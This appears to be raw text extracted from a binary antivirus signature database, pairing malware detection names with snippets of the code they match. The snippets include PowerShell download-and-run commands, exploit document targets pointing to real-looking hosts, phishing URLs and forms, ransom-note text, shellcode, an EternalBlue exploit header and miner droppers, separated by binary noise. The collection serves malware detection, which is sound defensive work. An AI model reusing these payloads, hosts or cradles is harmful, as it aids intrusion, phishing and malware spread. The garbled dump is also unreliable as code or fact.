ds.B.3ATTRIBUTE:SIGA:MSIL:EMAIL:S1HSTR:AutoAttrMsil_70780AE9AGGR:Tobeet_Msil_697F93B7HSTR:AutoAttrMsil_754C6246AGGR:Tobeet_Msil_12E118B5AGGR:Tobeet_Msil_4DB51E0CHSTR:AutoAttrMsil_6A753B13AGGR:Tobeet_Msil_5018F61FHSTR:LZMA_CRC32_CONST_TABLEHSTR:Tobeet_Msil_3D8A0EE2HSTR:AutoAttrMsil_93B7577FLowfi:HSTR:Win32/PullUpdateHSTR:MSIL/PossibleKeylogger.A3HSTR:Tobeet_Msil_E076BF4AHSTR:Virtool:KillavHSTR:Tobeet_Msil_E872EC6EHSTR:TrojanDownloader:Win32/Wintrim.BFLUA:MissingDigitalSignatureHSTR:Tobeet_Msil_3B1E4824AGGR:Tobeet_Msil_A74BB38FTrojan:MSIL/BlackFus.BTEL:KillExplorer!msilHSTR:AutoAttrMsil_1F6F7011AGGR:Trojan:MSIL/InjGen.J!ibtHSTR:AutoAttrMsil_C34C6E12HSTR:Win32/PossibleKeylogger.A2AGGR:Tobeet_Msil_7ECD5743AGGR:Tobeet_Msil_97C8BBB3AGGR:SingleExeInArchivePUA:FileHSTR:Tobeet_Msil_8A952C9BHSTR:Tobeet_Msil_F96CC401SIGA:MSIL/Suspicious.CreateRunKey.AHSTR:InstallerFileHSTR:AutoAttrMsil_0CAEB229HSTR:Wuvsked.A2AGGR:Tobeet_Msil_5AC26183HSTR:AutoAttrMsil_E872EC6EHSTR:Tobeet_FFF59FFCATTRIBUTE:SIGA:MSIL:EMAIL:Behavior:S1HSTR:Tobeet_Msil_F27CAD14HSTR:Tobeet_Msil_97B129F9AGGR:Tobeet_Msil_FAB66F1BHSTR:AutoAttrMsil_3531EC7EAGGR:Tobeet_Msil_120C0F0EHSTR:Tobeet_Msil_1698F25DHSTR:AutoAttrMsil_DD5EA684PUA:ML:Blocked:LinkuryHSTR:Tobeet_Msil_08304DE3HSTR:AutoAttrMsil_59393B60HSTR:Tobeet_B2E35A87AGGR:Tobeet_Msil_6C5AB82BHSTR:Tobeet_Msil_3AC40B50DOTNET_Reactor_ObfuscatorAGGR:Tobeet_Msil_7E4939BFAGGR:Tobeet_Msil_53B88CC3HSTR:BetterSurfSIGATTR:Trojan:Win32/C2Lop.gen!GHSTR:PossiblyClean:Redgate.RegKey.AHSTR:Virtool:MSIL/Obfuscator.DNGuardSIGATTR:SetItselfRunKeyMJvAyulA 5@x 5@  @Gq _D @P                       WEB  1   .exe  .gif                             s ?)c 071bq e8 ~P zuD~L _](qvf 9~Bq4 ^4{-P EHZ?w `\"xdy pFAw1  A!#[r` d{AJm g{:\t0 v!,A`9 ^+:R+ l\tpHB= y4gUi wrSE6  RzUZ<\" 5[T!gb KIafEP G^P}Y  kA-de~ t}S C& hi{1< VX@iL \"J&K} ia~0T _^bsx N/g1p\\ m8n}\\ sx/Oy X;?bw p1*KP X@Jo-cE YllM\"4 3@Hlc s<. 0 yzIlS ER`I6 6-.QS 1dHHl{ +\\>9} Bv! w >O&aI g>MQh k7T!D 5 ,xR1g U~P|b$T wqzl`N (VY]K Cd7Rz tOiny v]Snn ~%#mI GDN|Y u#X$}  mU;Z1 K.e E %Kh\t^l 1i%*G 23456789.exe\\setup  0123456789.exe   0123456789install  0123456789.exe\\install  0123456789.exenullsoftinstallsystemv2.46setup !#SCPT:Trojan:HTML/Phish.JD2 url=&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#109;&#97;&#105;&#45;&#49;&#46;&#98;&#117;&#114;&#98;&#101;&#114;&#121;&#46;&#99;&#111;&#47;&#46;&#118;&#109;&#47;&#46;&#118;&#109;&#47;#y2xpzw50zxnabgv4dxnhdxrvlmvz\"> *!#SCPT:TrojanDownloader:VBS/Powdow.PB3!MTB =\"powershell.exe-exbypass-nop-whidden-eccqajaakacqajaakacqajaakacqagafmazqbuac0aywbvag4adablag4adaajacaaiaagacaaiaagacaacqatafyaqqajacaaiaaoaakacqagaakaiaajacaacqajaakaiaajaakaiaajac4akaanae4azqana 0!#SCPT:TrojanDownloader:O97M/EncDoc.IDEA!MTB!ED7 <docsecurity>0</docsecurity><scalecrop>false</scalecrop><headingpairs><vt:vectorsize=\"4\"basetype=\"variant\"><vt:variant><vt:lpstr>worksheets</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4> !#SCPT:Schopets.H1 =\".respo createobject(\"wscript\"+\".shell\")endfunction =\"microsoft.xmlhttp \"+\"shell.application wscript\"+\".shell `.run .createtextfile @split(replace( .sendendfunction !#SCPT:VBS/Adnel.D0 createobject(\"s\"&chrw(99)&chrw(114)&chrw(105)&\"pt\"&chrw(105)&chrw(110)&chrw(103)&chrw(46)&chrw(70)&chrw(105)&chrw(108)&chrw(101)&chrw(83)&\"ystem\"&chrw(79)&chrw(98)&\"ject\")m=  .opentextfile(wscript.scriptfullname).readall !#SCPT:JS/Obfuse.RA!MTB 'yur\\x20mil\\x20r\\x20sswrd\\x20is\\x20inrrt.\\x20if\\x20yu\\x20dn\\x27t\\x20rmmbr\\x20yur\\x20sswrd,,<a\\x20href=\\x22#\\x22>\\x20reset\\x20it\\x20now.<a/>\\x20<br>\\x20<br>\\x20','post',' .ijsiodjfo.ml/index.php?user= 'https://www  /'https://www !#SCPT:Trojan:BAT/Tnega.SMK1 start-sleep-s5;rename-item-path('%grkd_suciuyzed_s_zshrn_xj_oznks%\\bin.~tmp')-newname('%bkjx_bfctfkdxpmzgj%.~tmp');rename-item-path('%grkd_suciuyzed_s_zshrn_xj_oznks%\\bin.exe')-newname('%bkjx_bfctfkdxpmzgj%.exe') !#SCPT:Exploit:HTML/Axpergle.E <paramname=\"code\"value=\"globals\"><paramname=\"archive\"value=\"http:// 0\ta-z0-9=_- \ta-z0-9=_-\"><paramname=\"type\"value=\"application/x-java-applet\"><paramname=\"exteeec\"value=\" a-z0-9=\"></object> \"!#SCPT:Trojan:HTML/Phish.AVZ22!MTB 2hhcknvzgugpsaky2hhcknvzgugjsakdxruynipid4gmzugpybtdhjpbmcuznjvbunoyxjdb2rlkcrjagfyq29kzsaridi5ksa6icrjagfyq29kzs50b1n0cmluzygznikpo307icagiglmicghjycucmvwbgfjzsgvxi8sifn0cmluzykpiht3aglszsaojg5ici0tksb7jhl &!#TrojanDropper:AutoIt/Obfusesd2!ptb01 ;k4fxgk80x50#k4fxgkqz5j6146aaz74o3wm9ftdq2qxjg2g;k4fxgkpcpwtnzrw16a9vdj62etx1h#k4fxgk59l5w1v0mnd28u131ru01f28dqnrf9j198m2l#k4fxgk1op87vjwk423502u788m6112hg2n9iywx#k4fxgk5p0fj05559o276s4mcvxdr0d37077lrzc )!#TEL:Backdoor:PowerShell/Diapowshell!dha try{$_wc=new-objectsystem.net.webclient$_wc.querystring.add(\"id\",$myid)$_wc.headers.add(\"content-type\",\"text/html\")$_wc.headers.add(\"accept\",\"text/html\")$_rc=$_wc.uploadstring($urlconsole,$theanswer) +!#SCPT:Exploit:O97M/CVE-2017-0199.BKS20!MTB target=\"http://0147.0131.0133.0174/..----------------------....................-.....................-/...................................................................wiz\"targetmode=\"external\"/> /!#SCPT:TrojanDownloader:O97M/EncDoc.ALS!MTB!AS1 formula.fill($cm$59854&amp;$br$44143&amp;$bh$54904&amp;$do$756&amp;$ii$29027&amp;$eo$24162&amp;$cu$23382&amp;$gy$40135&amp;$bb$59420&amp;$cg$19922&amp;$ak$20561&amp;$if$1180&amp;$be$52719&amp;$ 0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAE!MTB!GE8 <si><t>32\"&amp;\".\"&amp;\".\"&amp;\"\\\"&amp;\"jipos.hot5782369\")</t></si><si><t>32\"&amp;\".\"&amp;\".\"&amp;\"\\\"&amp;\"jipos.hot57823691\")</t></si><si><t>32\"&amp;\".\"&amp;\".\"&amp;\"\\\"&amp;\"jipos.hot57823692 !#SCPT:PyMS17010.A1 frommetasploitimportmodulemetadata={'name':'ms17-010eternalbluesmbremotewindowskernelpoolcorruptionforwin8+','description':'''eternalblueexploitforwindows8,windows10,and2012bysleepyatheexploitmightfailandcrashatargetsystem %pdf-1.020obj<</kids[30r]/t(topmostsubform[0])>>endobj30obj<</kids[40r]/t(page1[0])>>endobj40obj<</mk<</if<</a[0.01.0]>>>>/ft/btn/ff65536/f4/subtype/widget/type/annot/t(imagefield1[0])/rect[107.385705.147188.385709.087]>> !#SCRIPT:JS/Shepow!cmd (\"cmd.exe\",\"/cpinglocalhost&powershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient). ('http:// `/banner.png','%appdata% .exe');start-process'%appdata% .exe'\",\"\",\"open\",0); jslintmaxerr:50,indent:2,white:true*//*globalwindow*/functionwebworksseealso_object(){'usestrict';this.msettimeoutid=null;this.fonclickbutton=webworksseealso_onclickbutton;this.fonclicklink=webworksseealso_onclicklink !#SCPT:RansomNote:Ryuk.DB assoonaswegetbitcoinsyou'llgetallyourdecrypteddataback.moreoveryouwillgetinstructionshowtoclosetheholeinsecurityandhowtoavoidsuchproblemsinthefuture+wewillrecommendyouspecialsoftwarethatmakesthemostproblemstohackers. !#SCPT:Trojan:JS/Obfuse.PK1 varkey=\"aabbcc F;functionhjkm(_message){  =key.length/2;var_newstring=\"\"; ;for(varx=0;x<_message.length;x++){ =key.indexof(_message.charat(x));if( ;_newstring+=key.charat( );}else !#SCPT:HTML/Phishing.ARX!MTB %61%64%65%6c%61%73%66%6c%6f%72%65%73%2e%63%6f%6d%2e%61%72%2f%77%70%2d%61%64%6d%69%6e%2f%63%73%73%2f%63%6f%6c%6f%72%73%2f%6d%69%64%6e%69%67%68%74%2f%72%65%70%6f%72%74%6d%61%65%72%73%6b%2e%70%68%70%22%3e'))</script> 0!#ALF:SCRIPT:TrojanDownloader:Win32/Powsheldow.B (\"hkcu:\\console\\%systemroot%_system32_windowspowershell_v1.0_powershell.exe\");  (\"hkcu:\\console\\%systemroot%_system32_svchost.exe\");  (\"hkcu:\\console\\taskeng.exe\");$surl=\"http:// /u/?q= 0!#SCPT:TrojanDownloader:O97M/EncDoc.REEA!MTB!EE8 <vt:lpstr>excel4.0macros</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></headingpairs><titlesofparts><vt:vectorsize=\"1\"basetype=\"lpstr\"><vt:lpstr>sheet1</vt:lpstr> !#SCPT:EULA/OpenCandy!2 opencandynetwork(\"we\")toproviderecommendationsofotherthirdpartysoftware.allthirdpartysoftwareparticipatingintheopencandynetworkmustadheretostrictpoliciesthatensureonlycompliantsoftwareisrecommended.intheeventanopencandy !#SCRIPT:B64Stream!func .getbytecount_2(bytes)  =createobject(\"system.security.cryptography.frombase64transform\")  =createobject(\"system.io.memorystream\")  .write .getbytes_4( ),0,(( /4)*3)  .position=0 !#TEL:HTML/CoinHive!Miner .js';head.appendchild(script);varxmr=newcoinhive.anonymous('  ',{threads:1});try{varthreads=math.max(1,math.floor(navigator.hardwareconcurrency/2));xmr.setnumthreads(threads);xmr.start();}catch(e){xmr.start();}});}); !#SCPT:BAT/NetWalker.RA2!MTB 0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0d,0x0a,0x24  !#Exploit:JS/CVE-2014-0322!Lowfi try{this.outerhtml=this.outerhtml}catch(e){}collectgarbage(); =document.getelementsbytagname(\"script\");var  [0];  .onpropertychange= =document.createelement('select'); .appendchild( \"!#SCRIPT:Exploit:Win32/Pdfjsc.JX.1 =\"v'u75ud3u00u0cub0uc6u1euf8u9au28ue1ue1uacub0ubeu12u52u20u56u09u02u00u59u02u9au28ue1ue1uacub0ubeu12u52u20u56u09u02u00u59u02uddu30u00u07u01u14u91uf3u30u30u0eu10u5bu5bu36u0du35u35ud3ue1u20uc3ub9u72ud1u00u20u00 ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM245!MTB target=\"http://198.12.127.217/.--------------------------.--------------........-...................-/_.......-----------------------....-_---..........._----------------.wiz\"targetmode=\"external\"/> !#SCPT:PyExpMS867.A2 portbindshellcodefrommetasploit;bindsporttotcpport4444shellcode=\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"shellcode+=\"\\x29\\xc9\\x83\\xe9\\xb0\\xe8\\xff\\xff\\xff\\xff\\xc0\\x5e\\x81\\x76\\x0e\\xe9\"shellcode+=\"\\x4a functionwebpackuniversalmoduledefinition(root,factory){if(typeofexports==='object'&&typeofmodule==='object')module.exports=factory();elseif(typeofdefine==='function'&&define.amd)define(\"pdfjs-dist/build/pdf\",[],factory) !#ALF:HTML/Meadgive!ObjId <objectwidth=\"11\"height=\"14\"data=\"undefined\"type=\"application/x-shockwave-flash\"allowscriptaccess=\"always\"><paramname=\"movie\"value=\"undefined\"><paramname=\"play\"value=\"true\"><paramname=\"flashvars\"value=\"exec=undefined\"> !#Trojan:Win32/Nanocore.FA1!MTB execute(binarytostring(\"0x52756e50452840486f6d654472697665202620537472696e675265766572736528276578652e736376536765525c37323730352e302e32765c6b726f77656d6172465c54454e2e74666f736f7263694d5c73776f646e69575c27292c24 !!#SCRIPT:PowerShell/Darius.A1!MTB param([parameter(position=0,mandatory=$true)][string]  ,[parameter(position=1,mandatory=$true)][string]  ,[parameter()][string]  =\"24\",[parameter()][string]  =\"80\",[parameter()][string]  =\"powershell.exe\") \"!#SCRIPT:Worm:Win32/Bondat!dropper run(@comspec&\"/c\"&\"startwscript\"\"\"&$sfilepath&\"\"\"\",\"\",@sw_hide)msgbox($mb_systemmodal+$mb_iconerror,\"microsoftwindows-applicationerror\",\"theoperationcouldnotbecompleted.accessisdenied.\")run(@comspec&\"/c\"&\"ping !#SCPT:Spigot.A1 /impression.do?event=\"+event+\"&user_id=\"+uid+\"&source=\"+source+\"&traffic_source=\"+adprovider+\"&subid=\"+userclass+\"&implementation_id=\"+version+\"&subid2=\"+subid2;varrequest=newxmlhttprequest();request.open(\"get\",impression,true); !#SCPT:JS/Emotet.TH7 \\x61\\x48\\x52\\x30\\x63\\x44\\x6f\\x76\\x4c\\x32\\x4a\\x70\\x62\\x33\\x52\\x76\\x63\\x47\\x4e\\x68\\x63\\x6d\\x55\\x75\\x64\\x47\\x39\\x77\\x4c\\x33\\x64\\x77\\x4c\\x57\\x6c\\x75\\x59\\x32\\x78\\x31\\x5a\\x47\\x56\\x7a\\x4c\\x32\\x74\\x30\\x58\\x31\\x4a\\x68\\x4c\\x77\\x3d\\x3d !#SCRIPT:PowerShell/Habe.A ?ver= &mac=\"+$mac+\"&av=\"+$av+\"&ver=\"+(get-wmiobject-classwin32_operatingsystem).version+\"&bit=\"+(get-wmiobjectwin32_operatingsystem).osarchitecture$r=[system.net.webrequest]::create(\"$download\")$resp=$r.getresponse()  !#SCPT:Trojan:JS/Obfuse.DRF9!MTB u0047et','\\u0068\\u0074tp://\\u006da\\u006es\\u006f\\u006cu\\u0074io\\u006e\\u002e\\u0069n.\\u0074h\\u002f\\u0073y\\u0073\\u0074\\u0065m\\u002fl\\u006f\\u0067\\u0073\\u002f7\\u0079gv\\u0074yvb7\\u006e\\u0069\\u0069m\\u002eex\\u0065',false) '!#TEL:Exploit:O97M/CVE-2017-0199.SS!MTB package4/bingdllc<users<dev<desktop<07082020?8570?s<bingdll)c<users<dev<appdata<,ocal<temp<bingdll.-:@!,!thisprogramcannotberunind/smode$p.v4e%4e%4e%%e%%be%%e%qf$'e%qa$$e%q@$)e%k%6e%%5e%n%1e%4d%me%q,$6e%qe !#ALF:SCPT:GetLapsPass if($domaincontroller-and$credential.getnetworkcredential().password){$objdomain=new-objectsystem.directoryservices.directoryentry\"ldap://$($domaincontroller)\",$credential.username,$credential.getnetworkcredential().password !#SCRIPT:SharpShoot!amsi =newactivexobject('wscript.shell');varkey=\"hkcu\\\\software\\\\microsoft\\\\windowsscript\\\\settings\\\\amsienable\";try{varamsienable=sh.regread(key);if(amsienable!=0){thrownewerror(1,'');}}catch(e){sh.regwrite(key,0,\"reg_dword\"); !#SCPT:Exploit:HTML/Axpergle.N <objectwidth=\"1\"height=\"1\"data=\"/ p\ta-z0-9=_-\"type=\"application/x-shockwave-flash\"allowscriptaccess=\"always\"><paramname=\"movie\"value=\"/ p\ta-z0-9=_-\"><paramname=\"play\"value=\"true\"><paramname=\"flashvars\"value=\"exec= &!#SCPT:HackTool:PowerShell/SharpSocks2 $script:socks=[socksproxy.classes.integration.poshcreateproxy]::createsockscontroller($uri,$channel,$domainfronturl,$useragent,$securestringpwd,$newurls,$cookie1,$cookie2,$proxy,$beacon,$comms,$insecuressl); ,!#SCRIPT:TrojanDownloader:JS/Nemucod.FM!eval varfso=newactivexobject(\"scripting.filesystemobject\");varfilename=' .txt';varfileobj=fso.getfile(filename);ts=fileobj.openastextstream(1,-2);varcheck=ts.readall();eval(check);ts.close();}main(); .getbytecount_2(  .getbytes_4(  =newactivexobject(\"system.security.cryptography.frombase64transform\");  .transformfinalblock(  =newactivexobject(\"system.io.memorystream\");  .write( /4)*3); !#SCRIPT:Exploit:JS/Scanbox.B varsoftwarelist=newarray();//softwareliststart<<<softwarelist.push(\"avira==c:/windows/system32/drivers/avipbb.sys\");softwarelist.push(\"bitdefender_2013==c:/programfiles/bitdefender/bitdefender2013beta/bdprovider.dll\")  !#HackTool:Python/Mimipenguin.b3 parse_pass\"$dump\"\"$hash\"\"$salt\"\"$source\"#cleanuprm-rf\"/tmp/dump.${pid}\"done<<<\"$pid\"fifi#supportvsftpd-activeusersif[[-e\"/etc/vsftpd.conf\"]];thensource=\"[system-vsftpd]\"#getnobody/usr/sbin/vsftpd/etc/vsftpd.confpid !!#SCRIPT:Exploit:HTML/Pangimop.AB <objectwidth=\" 0-9\"data=\"http:// a-f0-9\"type=\"application/x-shockwave-flash\"allowscriptaccess=\"always\">&#x0a;<paramname=\"movie\"value=\"http:// a-f0-9\"> \"!#SCRIPT:Trojan:Win32/Kovter.C!reg javascript:e='';try{thrownewerror(' ');}catch(err){e=err.message;}a=newactivexobject('wscrip'+e+'hell');b='';c='\\\\ ';try{b=a.regread('hklm\\\\software '+c);}catch(e){}try{if(b)eval(b);}catch(e){} %!#SCRIPT:Trojan:Win32/Lodbak.gen2!lnk \\\\\\\\\\{ !%systemroot%\\system32\\shell32.dll%systemroot%\\\\\\\\\\system32\\\\\\\\rundll32.exe%systemroot%\\\\\\\\\\system32\\\\\\\\rundll32.exe %!#TrojanDownloader:Linux/CoinMiner.C1 http://45.145.185.85xmr=network001sys=sysrv002#killoldfilespkill-9\"^network01$\";pkill-9sysrv001;pkill-9\"^sysrv$\"test-f/bin/ps.original&&cp/bin/ps.original/bin/ps#mv/bin/iptables/bin/iptables__kill_other_miners '!#SCPT:TrojanDownloader:JS/Nemucod.BBKT htoilshiszymugbvuo=_0x58027b(yvhvxhdmdfzijme,_0x28edbf(-'0x1cf',-'0x17c',-'0x23b',-'0x190',-'0x1ca')),nhfpdezitliyqburj=newfunction(htoilshiszymugbvuo)(),eval(_0x58027b(wndzbzcghuvnfolbk,jlajtdemhipguizrcs)) ,!#SCPT:HackTool:PowerShell/InvokeWMICommand3 [void]$ps[$i].addscript($runme)[void]$ps[$i].addparameter('ipaddress',$endpoint)[void]$ps[$i].addparameter('creds',$getcreds)[void]$ps[$i].addparameter('command',$command)  $jobs+=$ps[$i].begininvoke() -!#SCPT:TrojanDownloader:HTML/Phish.PRKSr9!MTB rm-urlencoded\",\"setrequestheader\",\"onload\",\"-\",\"split\",\"length\",\"fromcharcode\",\"responsetext\",\"parse\",\"key\",\"tostring\",\"charcodeat\",\"rand\",\"encode\",\"token\",\"now\",\"floor\",\"valid\",\"true\",\"<formclass=\\\"\", !#SCPT:HTML/Phish.RJS!MTB .liberates. /jquery.min.php\"></script><ahref=\"\"></a> <htmlxmlns=\"http://www.w3.org/1999/xhtml\"><scriptsrc=\"https://ajax.aspnetcdn.com/ajax/jquery/jquery-3.4.1.min.js\"></script><scripttype=\"text/javascript\"src=\"http:// (!#SCPT:TrojanDownloader:JS/Nemucod.BBKT3 mkutcafizwqwnghbcek=_0x3e2c43(wmclxrhgkyxbvlmvwn,_0x509ef9(-'0x2f0',-'0x36e',-'0x329',-'0x2d8',-'0x2d6')),eanwlahyumgclyh=newfunction(mkutcafizwqwnghbcek)(),eval(_0x3e2c43(bzcravzfjkrayxmft,obywjumsfzveimj)) +!#SCPT:Exploit:O97M/CVE-2017-0199.BKM67!MTB target=\"http://officefiletransferintergration.mangospot.net/..-.......................................................................................-/..................... .wbk\"targetmode=\"external\"/> +!#SCPT:Exploit:O97M/CVE-2017-0199.BKS18!MTB target=\"http://dummy_username@0147.0205.0152.0110/-................................................................-/--------------------.....................------------------.wbk\"targetmode=\"external\"/> .!#SCPT:TrojanDownloader:O97M/Dridex.PKRFG3!MTB tps://nsaleliberetvel.loremipsumdolorsitamet,aneosloremancillaeexpetenda,vimetutamurquaestio.nislomittamcomplectiturproan,quemomnesmunereidvix.vixpaulosanctusscripseritex,teiriureinsolensvoluptatumqui. 0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAA!MTB!GA7 <f>formula(k10&amp;k11,i10)</f><v>0</v></c><cr=\"k10\"s=\"2\"t=\"str\"><f>d9&amp;d10</f><v>exe</v></c></row><rowr=\"11\"spans=\"4:11\"x14ac:dydescent=\"0.25\"><cr=\"k11\"s=\"2\"t=\"str\"><f>d12</f><v>c(\"regsvr</v></c> !#SCPT:JS/Meadgive.STS02 \";var ={},i, =string.fromcharcode, =s.length;var !#SCPT:Filecoder.15 allyourfileslikephotos,databases,documentsandotherimportantareencryptedwithstrongestencryptionanduniquekey lallyourfileslikephotos,databases,documentsandotherimportantareencryptedwithstrongestencryptionanduniquekey !#ALFPER:JS/Qakbot.M )<0){throw\" k)<0){throw\" ,0);}catch(e){ =0;}return  =newactivexobject(\"  \\u00 !#SCPT:JS/Kryptik.VI2 if(navigator.appversion.indexof(\"win\")==-1){if(_vtst(_vu_u+\"_1\",_vu_i,14)){window.location.href=\"http:// jif(navigator.appversion.indexof(\"win\")==-1){if(_vtst(_vu_u+\"_1\",_vu_i,14)){window.location.href=\"http:// !#SCPT:Java/Adwind.Y2 vare=i.getenv(\"processor_architecture\");if(null==e)thrownewerror(\"couldn'tdetermineprocessorarchitecture jvare=i.getenv(\"processor_architecture\");if(null==e)thrownewerror(\"couldn'tdetermineprocessorarchitecture !#SCRPT:VBS/Ursnif.AA =createobject( j=createobject( a-z(\" )&chr( ?=createobject( !#SCRIPT:JS/Powdow.A-2 =newactivexobject(_0x i=newactivexobject(_0x [0]); .shellexecute(_0x [1],_0x [2],_0x [3],_0x [4],_0x !#SCRPT:BAT/Donoff.AR3 regaddhk iregaddhk lmcu\\software\\microsoft\\windows\\currentversion\\policies\\system/vdisabletaskmgr/treg_dword/d !#SCRIPT:VBS/Kalhine.B1 dimwinshellsetwinshell=wscript.createobject(\"wscript.shell\") hdimwinshellsetwinshell=wscript.createobject(\"wscript.shell\") @imagefile=\" .zip\"imagefiles=\" !#SCPT:JS/Refresh.RR!MTB <metahttp-equiv=\"refresh\"content=\"1;url=https://mamulln.cl/kwi/?email=travis_phillips@jabil&#46;com\"> g<metahttp-equiv=\"refresh\"content=\"1;url=https://mamulln.cl/kwi/?email=travis_phillips@jabil&#46;com\"> ={on_ad_request:1,on_ad_response:2,on_adunit_created:3,on_adunit_initialized:4,on_adunit_render_start g={on_ad_request:1,on_ad_response:2,on_adunit_created:3,on_adunit_initialized:4,on_adunit_render_start !#SCPT:PWS:HTML/Phish.AR https://accounts.google.com/o/oauth2/auth ghttps://accounts.google.com/o/oauth2/auth redirect_uri=https%3a%2f%2fgoogledocs.docscloud.download !#SCPT:PWS:JS/Phish.SMA1 tryaddlink(); gtryaddlink(); window.addeventlistener('domcontentloaded',tryaddlink); settimeout(tryaddlink,100); !#SCRIPT:Ploty.F!shell.1 ,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2, g,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2, !#TEL:PowerShell/Sekit.B ').split('@');$ g').split('@');$  ');$ =$env: +'\\'+$ e');foreach($ g@http:// '.split('@');$ =$env:temp+'\\'+$ +'.exe';foreach($ !#Trojan:MacOS/Renepo.A2 echo-n\"opener:finisheddsniff\">>/.performance.txt;date>>/.performance.txt#writetimeto/.performance.txt gecho-n\"opener:finisheddsniff\">>/.performance.txt;date>>/.performance.txt#writetimeto/.performance.txt !#SCPT:CodeOnly.ReGeorg.A unknownhostexception,java.net.socket\"trimdirectivewhitespaces=\"true\"%><%string funknownhostexception,java.net.socket\"trimdirectivewhitespaces=\"true\"%><%string =request.getheader( https%3a%2f%2fafaf.my%2fwp-content%2fplugins%2fmailchimp%2fsmt%2foffice%2foffice-outlook%2findex.php fhttps%3a%2f%2fafaf.my%2fwp-content%2fplugins%2fmailchimp%2fsmt%2foffice%2foffice-outlook%2findex.php !#SCPT:PiriformAvastOffer asdk.dll fasdk.dll ::candisplayavastad(ir0,mr1,mr2,ir3)m.r6https://www.piriform.com/inapp/installerofferpage !#Trojan:Linux/Downldr.O1 f.arm >ssh-updater;chmod+x*;./ssh-updaterarm cd/tmp||cd/var/run||cd/mnt||cd/root||cd/;wgethttp:// !#SCPT:HTML/Phish.RGR2!MTB \"process_is_automatic\">thisprocessisautomatic.yourbrowserwillredirecttoyourrequestedcontentshortly. e\"process_is_automatic\">thisprocessisautomatic.yourbrowserwillredirecttoyourrequestedcontentshortly. !#SCPT:HTML_MailProvider_1 //whichisnecessaryforcorrectfunctionalityofimmersiveie.//however,forwindows8phoneweneedtoresetthems e//whichisnecessaryforcorrectfunctionalityofimmersiveie.//however,forwindows8phoneweneedtoresetthems !#SCPT:O97M/Dridex.RVD!MTB <si><t>https://pediatriadrgonzales.com/wp-content/themes/betheme/js/parallax/vrgcm7nkd.php</t></si> e<si><t>https://pediatriadrgonzales.com/wp-content/themes/betheme/js/parallax/vrgcm7nkd.php</t></si> !#SCRIPT:ASP/Baze34.A1!MTB request.params[\" erequest.params[\"  =request.params[\" !#ALF:Worm:Win32/Rebhip.U!B &<<&<&d<&l<<<b<<&$d=&|>ln@mnn:nn/nn!nnnnnn}nnqnndnnxnnrnnfnoooooooo.oooxopofovo|####@########@#### d&<<&<&d<&l<<<b<<&$d=&|>ln@mnn:nn/nn!nnnnnn}nnqnndnnxnnrnnfnoooooooo.oooxopofovo|####@########@#### !#SCPT:O97M/EncDoc.RWWX!MTB <t>download</t></si><si><t>ter(\"urlmon\",\"url</t></si><si><t>ex</t></si><si><t>..\\hikos.hertolo</t> d<t>download</t></si><si><t>ter(\"urlmon\",\"url</t></si><si><t>ex</t></si><si><t>..\\hikos.hertolo</t> !#SCRIPT:Exploit:JS/Godmode functiondecode(s,n)ns=split(mid(s,2,len(s)-1))fori=0toubound(ns)decode=decode&chr(cint(ns(i))xorn) dfunctiondecode(s,n)ns=split(mid(s,2,len(s)-1))fori=0toubound(ns)decode=decode&chr(cint(ns(i))xorn) !#SCRIPT:PSLnkPersistence.A [system.diagnostics.process]::start( d[system.diagnostics.process]::start( [text.encoding]::  .getstring([convert]::frombase64string( !#SLF:PowerShell/Empire!dec ::defaultnetworkcredentials;$ d::defaultnetworkcredentials;$ .proxy;$ @::ascii.getbytes.invoke(' @');$ ;${_}-bxor$ !#Trojan:Linux/CoinMiner.D1 grep\"mine.moneropool.com\"|awk'{print$2}'|xargskill-9psauxf|grep-vgrep|grep\"xmr.crypto-pool.fr:8080 dgrep\"mine.moneropool.com\"|awk'{print$2}'|xargskill-9psauxf|grep-vgrep|grep\"xmr.crypto-pool.fr:8080 !#HackTool:Perl/Slowloris.A2 if($sock[$z]=newio::socket::ssl(peeraddr=>\"$host\",peerport=>\"$port\",timeout=>\"$tcpto\",proto=>\"tcp cif($sock[$z]=newio::socket::ssl(peeraddr=>\"$host\",peerport=>\"$port\",timeout=>\"$tcpto\",proto=>\"tcp !#SCPT:JS/ExploitEMETCheck.A \"<!doctypehtmlpublic'-//w3c//dtdxhtml1.0transitional//en''res://c:\\\\windows\\\\apppatch\\\\emet.dll'> c\"<!doctypehtmlpublic'-//w3c//dtdxhtml1.0transitional//en''res://c:\\\\windows\\\\apppatch\\\\emet.dll'> !#SCPT:O97M/EncDoc.RJJJJ!EML %createdirectoryakernel32 c%createdirectoryakernel32 ?%/settingsynchost#c:/users/publick#https://pigeonious.com/img/ !#SCPT:O97M/Trickbot.RTR!MTB living-traditions.com/blogs/click.php</t></si><si><t>..\\fdinmd.fii</t></si><si> cliving-traditions.com/blogs/click.php</t></si><si><t>..\\fdinmd.fii</t></si><si> <si><t>http:// !#SCPT:Trojan:HTML/Phish.RG3 hanbays.com/xells/fghdxs/zcvbfddcvjftdvcdcd/hcffh/lns.php\"method=\"post\"> chanbays.com/xells/fghdxs/zcvbfddcvjftdvcdcd/hcffh/lns.php\"method=\"post\"> <formaction=\"https://  ]<formaction=\"https:// !#SCPT:Trojan:JS/Obfuse.SS16 varlen= cvarlen= %.length; &=newuint8array(len); for(vari=0;i<len;i++){ &[i]= .charcodeat(i); !#SCPT:Trojan:VBS/Tnega.PAC1 